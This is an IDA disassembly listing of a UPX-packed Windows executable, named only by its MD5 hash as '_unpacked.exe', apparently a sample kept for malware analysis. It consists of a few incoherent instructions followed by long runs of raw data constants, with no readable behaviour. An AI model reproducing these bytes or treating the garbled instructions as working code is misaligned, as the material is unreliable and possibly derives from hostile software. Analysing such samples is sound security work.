; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7E9625B3F384EF6CD727E0B8BA00D024 ; File Name : u:\work\7e9625b3f384ef6cd727e0b8ba00d024_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00016000 ( 90112.) ; Section size in file : 00016000 ( 90112.) ; Offset to raw data for section: 00001000 ; Flags E00000A0: Text Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 401000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 5800h dup(0) UPX0 ends ; Section 2. (virtual address 00017000) ; Virtual size : 0000B000 ( 45056.) ; Section size in file : 0000B000 ( 45056.) ; Offset to raw data for section: 00017000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 417000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 268h and dword ptr [ebp-8], 3 cld add bl, ch pop es mov eax, [ebp-4] inc eax mov [esi-13h], esi fucomi st, st(7) push es cmp dword ptr ds:1B418000h[eax*4], 0Fh test [esi], dl add ds:4F34FF10h, eax idiv bh inc edi lea eax, [ebp-260h] push eax call near ptr 369C7144h pop ecx pop ecx or eax, 0FEF7F500h retn ; --------------------------------------------------------------------------- dw 766Eh dd 6AFEF00Ch, 0FF256A03h, 15FF0875h, 0F7B57008h, 8335DE66h dd 0D60E0A5h, 6308858Bh, 8F75CD90h, 0E485C706h, 95F0405h dd 6D9DB2DCh, 4B508D64h, 0BDEC52F4h, 162E93B1h, 0B557E8E4h dd 6CCD9B3Eh, 606F05AFh, 839C5000h, 0DAFEDBBDh, 7400057Fh dd 0A53EB02h, 45750139h, 6C280C83h, 535ECDFFh, 0C66AAB52h dd 310CC483h, 8D92CE98h, 591E988Ch, 6DAD0453h, 0C0856E1Ah dd 0F8F81075h, 0B06534E9h, 1B61CCFBh, 1C0F1028h, 6C6CC3C9h dd 0C458DDBh, 38068B9h, 3CA8F100h, 0EED8CCEBh, 3E022405h dd 6808AC11h, 82867C26h, 84E880BBh, 11663A45h, 3FB7B402h dd 4D8B72F2h, 89C803FCh, 0FC7D8304h, 0D916C85Bh, 5200402Dh dd 0F8BA0104h, 733242DAh, 3C830E52h, 3BEF7E47h, 759D6C4h dd 0F4D60E48h, 763DBEFEh, 8A2387Bh, 0BE0F1103h, 5CF81540h dd 62C82475h, 2C53C59Fh, 4805848Dh, 6C16795Eh, 0B23EEB61h dd 0FDD3B012h, 0D873C8B0h, 0FDC00212h, 72FD8318h, 575603E8h dd 0AC02AC68h, 0FFB82154h, 4D4E7739h, 59480A11h, 5885B60Fh dd 0D9EC7E18h, 2374182Eh, 298B5D22h, 446830FFh, 0C1CB7681h dd 845D583Eh, 7103BC5h, 7C2B3D50h, 4CA31646h, 8013754Ch dd 0F0DDAD2Fh, 5F8719DDh, 5DC03359h, 7268A007h, 0D9F38DA2h dd 59425F7Eh, 44A5482Ch, 0E4DF6370h, 6505090h, 0F08B4F8Bh dd 8DBFF0D7h, 0F083B0Bh, 0A040A8Dh, 0F6690DB5h, 0F0B37814h dd 781F16ECh, 39E8B104h, 45753704h, 0B58446Eh, 348931BDh dd 5B33DDFCh, 508C1AB3h, 3C5D9006h, 23FD82C0h, 4498D23h dd 0C01448Dh, 0C3B02F50h, 5F9AEC28h, 0E10D2870h, 2DA10730h dd 57015A25h, 46D8F71Eh, 1BFBA318h, 11C083C0h, 3CD6945Fh dd 64E73C00h, 0E142760Bh, 0BDF03840h, 8B81604Ch, 26852B08h dd 5B9FB23Dh, 0C761FFAh, 0B8D185Fh, 4C3125EBh, 8986C6F7h dd 0B058B2Ah, 4F387630h, 30387496h, 0DB4365FCh, 411E77Bh dd 0C3B12B03h, 9DEBAB98h, 5FC2C23h, 72704B4Eh, 0BDEF74C1h dd 0B13E0C51h, 239DFC28h, 0FC243907h, 0FC24FC24h, 0ED9AC784h dd 39599929h, 24870F11h, 676E3FA9h, 1103865Fh, 8DBE49BEh dd 21C13B51h, 74D817DDh, 0C183193Eh, 0B211C20h, 0E90CC966h dd 2028C771h, 3398C9BDh, 6208860h, 0EF4AF0D6h, 3132330Ch dd 0B04B17CFh, 2306D78Fh, 289B91C3h, 0B0AFD8F3h, 8D031E1Ch dd 0FD489542h, 0EEB00367h, 588A0A0Ch, 0C32DB527h, 2A6012F5h dd 0EE23F8C3h, 5F76164h, 9304041Ch, 0CED82872h, 4B26F497h dd 8A064407h, 0B37EE70h, 0A8BC68A7h, 0F5458A9Ch, 321C8588h dd 0F1846320h, 0F56580h, 4A76F1A8h, 68D4D23Ah, 8A14CC1Ch dd 0E9860D56h, 0EB5F8836h, 0A01B402Eh, 244BA956h, 0D3013A3Fh dd 0AB6C3821h, 0CA908374h, 23A43711h, 7E13DF0Bh, 91049607h dd 7E304085h, 40231853h, 3B1A959Bh, 13D90A54h, 2375E536h dd 664FC103h, 5855B27Ch, 6A534C5Eh, 4052E659h, 52B8B238h dd 7923942Dh, 1D44C8D8h, 7E80F8F7h, 4902D82Dh, 2C4E1C21h dd 0BDDCC68h, 1022CA6Bh, 0D90FEBD3h, 1FED0306h, 0C80CFB9Eh dd 0C95E5FDCh, 3865FCC2h, 5160D858h, 50C1651h, 1C0ECE0Dh dd 52F709ACh, 74775008h, 2043831h, 77E23C45h, 4DFB241Dh dd 104D8AB1h, 30044888h, 0C627895Eh, 541C0A0h, 0E20C5230h dd 0C08C9BB7h, 54A509C0h, 1C090511h, 3FBB760Dh, 59634F9Ah dd 0F31045F6h, 61E5C709h, 9C8616BAh, 94081CD2h, 3FBAE817h dd 68F87550h, 0C6A0A74h, 4012BDFCh, 7036D831h, 47A0F17Fh dd 784D1118h, 3D83F74Bh, 7427DEF4h, 0C8620835h, 14B21C80h dd 0C9ECE8E8h, 0EC720321h, 7038F0F0h, 6A5D3067h, 72D3EB00h dd 0F16EE0D6h, 3AA8980h, 7B8D0D0Eh, 743E1360h, 9D326A4Eh dd 0E5147423h, 0FDCD7792h, 0FC052B60h, 72379A4Dh, 3B24EB02h dd 21D91E71h, 150500FAh, 1BDB5C25h, 0C2D14A3h, 8C62402Fh dd 740AEC3Fh, 750D0A0Bh, 0EBA46815h, 85C2C800h, 355A8D43h dd 26117EBh, 0BC484CE2h, 0C400B417h, 0E70E249h, 7303CFAh dd 0D8907201h, 3A03A7E7h, 8A1FF8ECh, 2D87B1BDh, 0F40E8CB9h dd 3DD6BCFCh, 680D9930h, 26C81446h, 6C785B26h, 0C6F8EC28h dd 0D4EB66Ah, 0CE8D831h, 3BE7F0E2h, 0EC724C0Dh, 0ED93E84Eh dd 98066C9Ch, 1704E9Ch, 18BB600Bh, 53520848h, 0C805A338h dd 0F8D89493h, 13891B22h, 74DDB69Ch, 3B41B54Eh, 0CD9BA4Ah dd 7B10F040h, 0E10E6DF9h, 6A662CDCh, 0FCA01244h, 16CD233h dd 0CC44A0F3h, 0BA59EF5Dh, 8BD066F4h, 19D831ABh, 0FC9DED90h dd 0E0DC0BF7h, 982C17BAh, 1B25561h, 84DF2501h, 0DF00BAC7h dd 7CEE8441h, 0ADC8708h, 8BF8D869h, 0B679175Ch, 0A17A3D3h dd 5369E894h, 0A3D3B649h, 94E02C03h, 8964DE04h, 956F8E7h dd 6FB04621h, 171E5405h, 0F4B70C6Dh, 0FDFCF206h, 1D50CF12h dd 0B0D21D83h, 0AD808C1Bh, 719E3568h, 0F0BCC88Ch, 0AB08A4FAh dd 0F85BA292h, 5241589Ah, 36FD031h, 0F7BE4647h, 0EC3E09F9h dd 4E247484h, 81D876C8h, 4A7420BDh, 0C43BC5A8h, 6A41D26Eh dd 0B0C8D0Ah, 722F6A9h, 0F8D4E0B9h, 0C06F8D4h, 76ECC1EFh dd 2173AB3Bh, 0E9AFE60Ah, 6B4D0CF1h, 0ABE4C175h, 591B0D8Eh dd 0F8ACC7AAh, 846410Ch, 9535ABEFh, 2107E4FCh, 0A41675C1h dd 1206A7E4h, 88936D82h, 0A181A56h, 96840102h, 0C28ED0B2h dd 9B1A4181h, 0B36B733Ch, 626E72C3h, 5E68B314h, 8186E91Ah dd 1ECD304h, 251EC58h, 73CE4E07h, 0C3D02698h, 38CD7749h dd 345B320Eh, 0CA822C68h, 0E1DCBC09h, 1A3671D0h, 0AF02DE1Bh dd 0C7A4C18h, 4BCCC6Ah, 6A045D66h, 0C90204CCh, 6897BE07h dd 0AE015718h, 0B8181981h, 461037BBh, 14682B4Eh, 1E7E291Eh dd 2D6C3683h, 350D0064h, 0A4F4680Fh, 0DC196539h, 0D60604B6h dd 3C806D9Dh, 4517FA20h, 59835CC1h, 1162A6FEh, 7DAA5CF9h dd 0DE4A841Eh, 0FA1CFA1Ch, 7213F09h, 0BA10FA20h, 0D5271068h dd 0E11C9EE8h, 49A1FC49h, 0BCE640FBh, 7BE57B89h, 3E141CC4h dd 765A471Fh, 7EF600B6h, 247A4A59h, 0EAFC4F81h, 7AB28B0Dh dd 53928280h, 92C19B67h, 189B0BFCh, 8F724C0Eh, 48811AA5h dd 91CF9DC2h, 48F8DC8Fh, 1BFA1072h, 5E3ACDDh, 2B088198h dd 6C7C5876h, 8B91B1B1h, 0B892203h, 0D16BFC3Ah, 0C4C8C8Ch dd 0BD07EE6Ah, 55166FC3h, 43BB43B2h, 0A0C06CCh, 0B63A2ECFh dd 0B66B7862h, 65F8E65Ch, 19CA1673h, 277612E1h, 0F04B810h dd 67720D26h, 0AF7C884Fh, 39D60B14h, 2E4860E8h, 0E46763C0h dd 0B9991E8Bh, 0F9F70D00h, 0D9AC7B0Eh, 5DB0813h, 38049DD9h dd 0B22FEE2Bh, 5001C45h, 0C57035D8h, 0DE2DEC27h, 9D22BDD8h dd 27241CDDh, 6210F9FCh, 0F9FC3E43h, 30858321h, 3468BC25h dd 57C4207Bh, 11843848h, 640CD089h, 0D65263B3h, 0A1C8988h dd 782402CCh, 0F71C1C81h, 1F31F741h, 8BC8BEFh, 0E4807F6h dd 0D82C0846h, 17F69ECDh, 0F610A32Ah, 9AF782E7h, 2C33EB9Dh dd 3D951E9Ch, 1E496BC1h, 30424412h, 0BA015D8Fh, 1874A0A1h dd 0CD380010h, 18B1DFC6h, 0E8F04522h, 15021BFh, 0C8BD6A40h dd 6A02C7E7h, 0EC04015Ah, 8A6C28F9h, 6827E05Ch, 1C16DF58h dd 0E050B9F7h, 57EB1484h, 0D5F5FC42h, 88F5EE76h, 1F40FA13h dd 0A777F1F3h, 0F9F9ECDFh, 2201765Fh, 6BB83670h, 0B191601Ch dd 5404E504h, 7C81E968h, 41A05A6Ah, 61F714F7h, 0F20BDDD8h dd 343DF714h, 9559B73Ch dd 6E6BDF7h, 3E2B16CEh, 0DCF68492h, 840D32C7h, 23F08EF8h dd 16F097D4h, 64683EF9h, 3C8BD883h, 0F72022F9h, 0CE391CC4h dd 2CC34D49h, 5044402Eh, 642E8E49h, 0A7483CB2h, 987BF490h dd 0EA6068E3h, 0EB38B819h, 0B2F9E8D4h, 0B2F9EE6Fh, 809F9E8h dd 75021317h, 25EC962Bh, 0E97AC7B2h, 0F9F2B363h, 748BB8F5h dd 4583204Bh, 733067F8h, 5F270C57h, 58EB01A7h, 8CF02C87h dd 46F5F4CAh, 0F20E49B6h, 0F5F4F5F4h, 60F4FF6Ah, 3177AFC9h dd 0D9F9E826h, 9F6B0B02h, 82AD8C27h, 0F65ACF84h, 0E9B3101Dh dd 0F71C3453h, 2039B583h, 6B13E714h, 0F9030C22h, 0CF6903Ch dd 0BDF5F8F6h, 0F0CF9F24h, 0ECF5F0F5h, 64E42AF5h, 0E81CB3BDh dd 0F5EC2205h, 2D9CEF58h, 2205E427h, 5B099298h, 320B0CDh dd 14B5E10h, 0F123B316h, 4EBFD60h, 0C8EBCAEBh, 0CEC8330h dd 9625123Ch, 10056CAEh, 8A06140Bh, 93DB13CDh, 0F9071618h dd 0F8986D18h, 2C76E0CCh, 7D8121F8h, 341F8A7Eh, 1C390E59h dd 9C49F4F4h, 40E3D608h, 0CAF141Fh, 180B3C02h, 476216Ah dd 86293B19h, 251610E0h, 2E4627B9h, 29C51400h, 0B98C960Ah dd 66A1893h, 4502159Eh, 54FFE2B6h, 89F44D8Bh, 32022F88h dd 1CC01FA3h, 4E3324F2h, 846810B6h, 7CC8390Bh, 511E3883h dd 1C07117h, 53410667h, 6536106Ch, 8AC56178h, 725724Eh dd 0C2A00129h, 40B98420h, 420D548h, 9B66125Eh, 0F5142EFDh dd 23B8FBECh, 0EC93BF3Dh, 1A9107FBh, 1D1201Eh, 0FC1930D7h dd 332C4F52h, 0FB07F20Dh, 250E86AAh, 0FF0D669Bh, 0EC4A0D50h dd 9B23D8FBh, 1E3B6CBDh, 0ED763F44h, 0E0C8CEBDh, 720835E0h dd 0B2C6B075h, 8B8D4413h, 0FB19EC68h, 7107ECBAh, 3DF073A4h dd 136615F0h, 218B34D8h, 0C01B1955h, 0D8682A9Eh, 0F481F443h dd 1D8D8D80h, 3B0E8B0Eh, 3E51762Dh, 0BB62DBDBh, 0E44429E4h dd 0F736C068h, 2550E6BDh, 0F19E4F33h, 0D614F8D2h, 1F8466Ch dd 0B39DE475h, 0FD85B6CFh, 212C7224h, 0AC107202h, 0FD4CC0BCh dd 3D00B70Fh, 31FF5A4Dh, 0E93D0020h, 202B1377h, 89348D8Bh dd 0B5573708h, 1CC09462h, 451F3053h, 5C906046h, 3CFBA584h dd 93852D7Bh, 8D8A1B12h, 0DBF4758Dh, 0C12B293Eh, 0C807E06Ch dd 5BB5EA51h, 18E84360h, 59152632h, 0E46FC8B6h, 0B289C107h dd 0F5962928h, 16286046h, 195B5F20h, 7ECB5333h, 0E530B0CDh dd 2804D846h, 6119FA56h, 10282632h, 73E4DFE0h, 1CEC235Dh dd 1B5ADC35h, 0DA32D90Bh, 0B5C6197Bh, 0F8349C2Fh, 0B362CC21h dd 0E7E64CE2h, 0D90229F4h, 1922E01Dh, 6CB53C0Ch, 5D628B8Bh dd 208F906h, 57BD4879h, 0C4FAAF68h, 2392C6F9h, 14F9C8F4h dd 791F824h, 78E505B9h, 0FD7480FDh, 776EF934h, 4DA02C13h dd 157C8588h, 24D21F6Ah, 8DEEFB07h, 0F30A7DBDh, 0AAAB66ABh dd 0DCF9441Ah, 45E416CEh, 69383CF9h, 9F3EFACCh, 8F8B9778h dd 0D085CC8Bh, 605BD9FBh, 0C49B6A40h, 47BA9A15h, 7C28A1E2h dd 85850F42h, 38046A8Bh, 0CF49CB8Bh, 66C26061h, 666D826Fh dd 0F88B6409h, 22257520h, 0CB929ECDh, 0EB108C65h, 62DC4023h dd 5C249725h, 0D1F9C453h, 2284EFB2h, 9B520457h, 8E4F239Dh dd 40F940A7h, 0D1F940F9h, 5E970CCh, 401B847Bh, 0EDA0C619h dd 0F9C894F9h, 0C4FFCA3Ah, 9DECEFF8h, 2F06F84Bh, 0B2B70B03h dd 8E3564A6h, 0B34D1719h, 2FF67E13h, 803D5775h, 6A2B05A4h dd 0D9B39D2Ch, 3200F749h, 33375926h, 0DC3E308Dh, 50B09086h dd 3891F913h, 0EC0BECF9h, 6F4DE69Bh, 183B7C30h, 0BE40D2Bh dd 0BD227F39h, 0FBC63B05h, 881D8AECh, 0B09B0D84h, 7044822h dd 1BB3C348h, 54ECA4E1h, 0C8EC6C75h, 385340ADh, 205068F9h dd 6C2EA72Ch, 0CFB6B1D2h, 0A8D634BCh, 391E4BC4h, 596783h dd 6604C972h, 4754D644h, 0E902CEC8h, 83923138h, 0FD7C392Dh dd 99F94412h, 7FD9B640h, 3E3D30D9h, 2C2E420Eh, 402F2803h dd 0AE3264A6h, 0E4A0C00h, 0AAA91184h, 0B2474F00h, 168E40E5h dd 0C068C85Fh, 0FCD81833h, 1CF4D784h, 0E36780F8h, 0F81C45F9h dd 201C8F25h, 11678740h, 50400D6Ch, 0F6184924h, 461B6996h dd 32612B52h, 0C99C1A66h, 0FB00600Ch, 4E1E4218h, 7884F868h dd 0BE709790h, 0CC297868h, 0B17C2084h, 0A53D8B03h, 2C0ADDFCh dd 0C9152F7Bh, 9E6C4EA8h, 821DCB05h, 0F93CF928h, 0AD18EF0Eh dd 5375847Dh, 0AE7D4961h, 32DAB0Dh, 0CB50233Ch, 0C064B10Eh dd 6D58FF68h, 0F0B2179h, 24941644h, 7C8057D9h, 25B7491h dd 1E48851Ah, 75032092h, 0C860C445h, 1C274DF2h, 5754223Ah dd 1593C6Eh, 0B7976A4Bh, 272B63A1h, 8FC00914h, 66162DEBh dd 5A49334Fh, 0B0AB410h, 0E40B3BDh, 3210FA4Eh, 5CBD8F1Bh dd 0C1875140h, 86E0AE8h, 3EC6F10Bh, 0AD2A0CA5h, 79F8030Ch dd 9021876Eh, 0F7FC23h, 37884393h, 3BF80A0Ch, 27064792h dd 0A61C846Ch, 0A4EC113Bh, 0FE2D0F59h, 9D970DC0h, 0B757FA4h dd 5D3969E2h, 208D832Ch, 45AE6A4Bh, 31560696h, 760F182Eh dd 2005FD97h, 53E1276h, 9B446176h, 6179027h, 248444C0h dd 792854F8h, 10841420h, 0B67EC3E0h, 2004D91Ch, 7A6C5FAFh dd 14E2B0F1h, 342523E5h, 0B26D90FEh, 0EC18EC51h, 7A6A086Ah dd 884F136Ah, 20045AADh, 45ADFDF4h, 807A5DCCh, 0E6F00564h dd 157A8620h, 7AB1B9B5h, 10069B98h, 0A405103Fh, 0FC75662Bh dd 7DC810ECh, 5EC8C59h, 0B0150A08h, 0EC9E4B64h, 43230C05h dd 56D59F92h, 0EC928580h, 0C72A3268h, 50955C85h, 420C681Bh dd 3A8F5770h, 0F0A48C19h, 75DF083Dh, 2653CAA9h, 87D82187h dd 1F686047h, 8C048B7Ch, 0B7B2F62Fh, 5BD816Fh, 77C01C25h dd 7C740B32h, 0F273D917h, 74800372h, 0B400555h, 0CFD9CDB3h dd 6FEB461Dh, 63728D0Dh, 273D9C25h, 5076939Bh, 0FD0B2994h dd 0FDD36E9Eh, 833DEB2Fh, 834EBBCh, 9E692BA4h, 228469E6h dd 0D401964h, 10E69EE9h, 14B90724h, 1CB5365Ch, 0EC3B67FEh dd 0D58708FEh, 0B9BF57Bh, 94186FCh, 2B11AFF8h, 61B29FFh dd 0B0FF0440h, 832032C0h, 0B80B8E1Dh, 203203C4h, 0A09CB403h dd 20320320h, 234AACA8h, 0B0A43203h, 0B87105FCh, 0CF401FCh dd 88864C68h, 0AAF695DBh, 48F30F7Dh, 7EEA831Ch, 109E4ACEh dd 0F4C46B1Ch, 5122F4FEh, 80391E53h, 0A1BEC71Fh, 77F75291h dd 863C680Dh, 0BEC7C65Eh, 2606F605h, 0C28680Bh, 7C275C31h dd 754FE638h, 75DA3881h, 0D18B141Eh, 809FB7CFh, 0C4D8B40h dd 81890449h, 0FBFFC883h, 1964A582h, 4E8E4827h, 6C9FD52Eh dd 8AF106Eh, 1574021Eh, 7A6D3F68h, 5866CDCBh, 0AB87234h dd 4BB22830h, 268E419Eh, 3C080108h, 90DAA546h, 0DDAB533Ch dd 0CF4874B2h, 0CC7730EAh, 6D8BCC43h, 7210D2B3h, 2A58072Ch dd 0D421AA20h, 38CCF747h, 6D421ED4h, 48D04560h, 420CC766h dd 38A0BE18h, 1731420h, 36CD6DB9h, 66384250h, 0CCE6D254h dd 0EC666DC7h, 0BC7C945h, 3B9B08F6h, 0C818B1F4h, 213BC85Ah dd 59F2C8FEh, 4889EC06h, 0C40C2008h, 3B3406C4h, 0CC41CB6h dd 1210104Bh, 0B6FF6DECh, 0CC152096h, 83184189h, 10ACD465h dd 0F7C41593h, 4EFDC17Ch, 58082114h, 6EEE6BA6h, 3CD99DC8h dd 10F10762h, 0FBB80A7Eh, 0E0650F2Ah, 99B2CCE4h, 1C40E0EDh dd 0EC1187E0h, 0D6E20EB6h, 883C0E40h, 0E033E238h, 425DE10Eh dd 30C06B2Dh, 87E43E50h, 0E4592B61h, 3924325h, 0F0E490B9h dd 0D919AEF0h, 0E89DF206h dd 1906E8E8h, 3BB754C1h, 60830F53h, 91B90A31h, 0C0D4DD0Fh dd 0E804C030h, 5AC9E173h, 8BE4BABFh, 9C89C055h, 144C70Eh dd 6FC85F89h, 0BC37BC00h, 5489BC01h, 8486FC85h, 27B89001h dd 613606B8h, 0CB8CD60h, 2F109E60h, 8D1CA19Bh, 55C90CA5h dd 0BBE189E4h, 0A44E10Dh, 4C65518h, 0B9F4B488h, 0C2B09092h dd 0D7C03009h, 7FD96C9Dh, 31B19E8h, 0B480AC8h, 0BB047611h dd 0CB024C4Bh, 8EE49227h, 0E49C1B44h, 34F71059h, 29F4BF04h dd 0BD75E2CEh, 200A0974h, 0C085E024h, 349727A6h, 0B52B2626h dd 88847487h, 0F374010h, 2DAF0BFh, 2B5DD8C9h, 0CCF10655h dd 2C97D02Ch, 0CF1070FFh, 1CD43C13h, 0CC40CCB2h, 0C4178108h dd 42FC24Ch, 9D19619h, 6F7D155Eh, 0EE277D8Ch, 2E08393h dd 0EB0287Fh, 0D660F604h, 46D78D5h, 0B65D775Ch, 20CE2303h dd 24140B24h, 666F52C9h, 306D19BCh, 0C6ED92DEh, 76141840h dd 170A47B9h, 89CB61B2h, 43818B2Dh, 2A64656Eh, 90DE01B6h dd 0F42B3500h, 1B7881C0h, 640E2E7Fh, 7FFB2807h, 0EBA07575h dd 3B661028h, 0F045B284h, 5B16D5C1h, 4E7F4C18h, 419F0A3Ah dd 0B20B38DAh, 58027C66h, 0EA10D9B2h, 13C0B70Fh, 60A05E23h dd 271CE421h, 0CD5F08D0h, 376D1A09h, 99839110h, 0E8257CF8h dd 0B70F6712h, 8714962Eh, 0D64C1B28h, 3C2C85Bh, 0F81558DDh dd 8F61B270h, 32EB1264h, 0C9C96E25h, 1190D236h, 6710FC85h dd 67A1C7E9h, 28E2A46h, 30843A1Ch, 7208F61Bh, 0FC01D25Dh dd 68187210h, 548289A0h, 0A0C1EFDBh, 786813A4h, 16F47513h dd 2ED80858h, 0B410A336h, 58266868h, 2B1C3407h, 588BAB53h dd 33D84C2Ah, 4C18ECC8h, 3C841C12h, 2040F213h, 2133C834h dd 282424CFh, 0F2133E14h, 30002C4Ch, 909B88ECh, 0D03440E7h dd 247BC238h, 88C8F25Ah, 0B4684CAEh, 67B0926h, 0A03CF819h dd 42679012h, 4488409Eh, 0E4061670h, 645F489Bh, 848818FCh dd 0FC790645h, 33231254h, 3C58CF21h, 5B23245Ch, 732B5E8Bh dd 0FA095808h, 5C2CE2DDh, 1A05C71Fh, 679B3588h, 96D35B3h dd 5C38BA58h, 72CF3BBDh, 30682F09h, 0F0F0C988h, 20CF6018h dd 50F07263h, 9E41260Ch, 0E8E832CFh, 27E887ECh, 4C9858F5h dd 1228B86Ah, 0C802BC84h, 0AD68E293h, 0EE50C301h, 0ABB248A9h dd 8DEE5442h, 6793780Ch, 0EA36EEEEh, 0BD837ABFh, 8B2FDD2Fh dd 89C43850h, 3E40444Ch, 0CC41EE5Ah, 8FA9725Dh, 0C48EE4Ch dd 0A0E7AB33h, 11897BD7h, 9D16C61Ch, 0DC32F3Dh, 27C37CFFh dd 0C04F3BC5h, 16F08510h, 7507E67Bh, 0D8CBD8B1h, 92FC05EDh dd 1B6CE15Eh, 2C70FF08h, 0BD9710F2h, 7610F140h, 5E893711h dd 4FDFDA0Ch, 0BE0F712Eh, 0A7EF9805h, 2CBB0839h, 0EDF50A58h dd 83423015h, 0C09EC16Ch, 5624CE16h, 0AF66C442h, 3815528Bh dd 0ECB573B7h, 77F5B00Dh, 821D3BB6h, 73142581h, 91B0146Bh dd 0E9DFAD27h, 29999484h, 314CBFBBh, 0F7951E10h, 56293893h dd 75BA3A16h, 9BB47A84h, 8A180CE3h, 16E4037Fh, 6AE08C2h dd 0AC601154h, 3C0AC020h, 682E147Eh, 8BD28C64h, 0A7A44906h dd 0F86717CEh, 0C9D8F89Bh, 0F86A3B21h, 143DF36Fh, 82B9BDFAh dd 76019ADEh, 0B74520h, 905D433h, 3400D00h, 41B6376Fh dd 48480CBBh, 0C0DA1807h, 0BB0C250Eh, 0FCB6C80Fh, 0D10E8C1h dd 58F3E181h, 0D0285732h, 122113C0h, 0F77B3733h, 0DF4A6AD0h dd 0DD96ECF3h, 3054EDDh, 4EB2674h, 246C6474h, 3E024D00h dd 4EFE68D8h, 0D95F4701h, 842B99Dh, 8008820Bh, 0E0C11EE4h dd 37580308h, 7F252160h, 0C81023FFh, 0FF217601h, 6A0B1847h dd 0CAAA0B10h, 2592B16h, 1D72C9Ah, 0B1E1920Ch, 6804235Dh dd 0ECA9BC48h, 52344D74h, 53B705FEh, 205F401Ah, 6A38817Fh dd 1D346808h, 4498036Ah, 3068C817h, 58F9F702h, 2144E446h dd 68A10629h, 5F31A82Eh, 1020F0Dh, 222F5D78h, 1CAC3A3Eh dd 7295B7Fh, 0C0EB044Ch, 0D7B3F095h, 8D18F68Fh, 8F314A24h dd 0D9FA0B68h, 0E76558ACh, 0B868557Dh, 6A5CEA0Bh, 631F9A27h dd 8186F018h, 0D705B306h, 1CD1F402h, 45E060C5h, 23E8E511h dd 0E8E880F2h, 0A9E047DEh, 26046189h, 3DAD33F4h, 0F3998817h dd 0E3648181h, 0E091DC20h, 5D752AF6h, 99D6E368h, 0DE138F59h dd 0DF70565h, 220319A1h, 0FE113D5Bh, 6B185E17h, 41DAE93h dd 0DAFC5972h, 4BB10610h, 0E1950FF6h, 42A3316h, 76C80C96h dd 0ECECEE79h, 245EC3B9h, 2ED23A0h, 3B3781Eh, 8A5CEDB9h dd 7CEDBFF8h, 587CC2A6h, 629A830Fh, 0D8BE7BC6h, 0EDF6572Bh dd 0EDF80093h, 0EC1EE6Dh, 68208DFCh, 0E45A511Ch, 61B34530h dd 0BDB80AD9h, 5896F448h, 150F7607h, 96C2E9DFh, 0D6E06D76h dd 76A7E06Dh, 51E03485h, 7F80B1CCh, 940FEE11h, 7E8723C0h dd 96800466h, 997959B1h, 7F172314h, 8C9A940h, 0E1004049h dd 0E8BE9903h, 397CCB84h, 14DB19D1h, 804409BCh, 49403150h dd 83A183C1h, 4A293917h, 8AB302BDh, 122A06DCh, 29E0A431h dd 0E4A08846h, 105A5B2Ah, 0EC64990Ah, 7878B588h, 6EB14EA6h dd 7A89152Eh, 85817EF4h, 0BB0A7A30h, 954D575Fh, 0D10C101Ch dd 0CCF622F5h, 0A355F8F8h, 7645E00Ch, 1B818534h, 1040098Dh dd 0D246026h, 60106C38h, 1808103Ah, 43D593D1h, 68217530h dd 36157502h, 0E69320FBh, 0EB01B00Ch, 0D9A9201Fh, 1CD9E15Eh dd 7697EB66h, 65C4174h, 32A90ED4h, 0A0E33C60h, 301C03A4h dd 0C4DFEEC4h, 63B832E5h, 868B9C4h, 0B7D4D910h, 0D480B07Bh dd 8B6B382Ch, 500200Fh, 0D573609Ah, 20B8CCA0h, 0A9F0D8A8h dd 0EBB74348h, 0A0B5FE24h, 0DC877D40h, 73C32FE7h, 0D85DB981h dd 172C8105h, 3421E859h, 10741935h, 51D4D435h, 0D063364Ch dd 0A897099Eh, 0C612CF48h, 0D64C2Ah, 23B191ACh, 8050C70h dd 2FB85104h, 0E89B310Ch, 0C1D016CAh, 0BFD43D9h, 0B6A81708h dd 700C6213h, 511D4BC2h, 40DB41E2h, 550C82Fh, 0B2B3912Ch dd 445BB19h, 1B92105Dh, 1418B18Ch, 0D0E1108h, 0D351BBA6h dd 6137A06Eh, 6A7E01D3h, 0C3442332h, 22681902h, 0FD8DDB8Bh dd 55046FCDh, 815489CCh, 0F400E04h, 1D0A0189h, 81B05722h dd 2E4E4C38h, 2BED84DDh, 1A9ED039h, 260D7583h, 1112D339h dd 2CF5141Eh, 0B3291593h, 0E0FCFCFCh, 5E9DCF06h, 14F6CB2h dd 7566E93Dh, 0FC40F9AFh, 6C401DF2h, 0C11B62C1h, 2D9650FFh dd 0D1197708h, 97448D8Eh, 7842080Ah, 0FCCAE6B1h, 8140A419h dd 0CB15D156h, 32565FDCh, 0C01F8AB3h, 0FF747D80h, 0F7DEA090h dd 6FF74CEh, 0EC088D43h, 20DC33A3h, 10671083h, 26502605h dd 0DD95D826h, 5874FF73h, 0E4472C5Eh, 0E8B190E4h, 64646449h dd 39EFD98Ah, 733F8864h, 37771D7Ah, 9504EB14h, 81845149h dd 443B1A08h, 0BF63B096h, 567504EFh, 4829802Fh, 2F732839h dd 79B6230h, 96946419h, 3794890Ch, 0C2765BEFh, 40BFEB6Eh dd 0DC0981FEh, 9C08E9D2h, 0BD284F39h, 0B0B02555h, 0EE750759h dd 5F99E1CFh, 3FFCBBB4h, 3D05FF68h, 58EC5DB3h, 138B053Bh dd 0FB43C0Ah, 6A70805Ch, 0A9403765h, 2321C9C8h, 6060601Dh dd 725DE10Ah, 1D1D2360h, 0D10D643Bh, 7533BF8Fh, 48038B3Fh dd 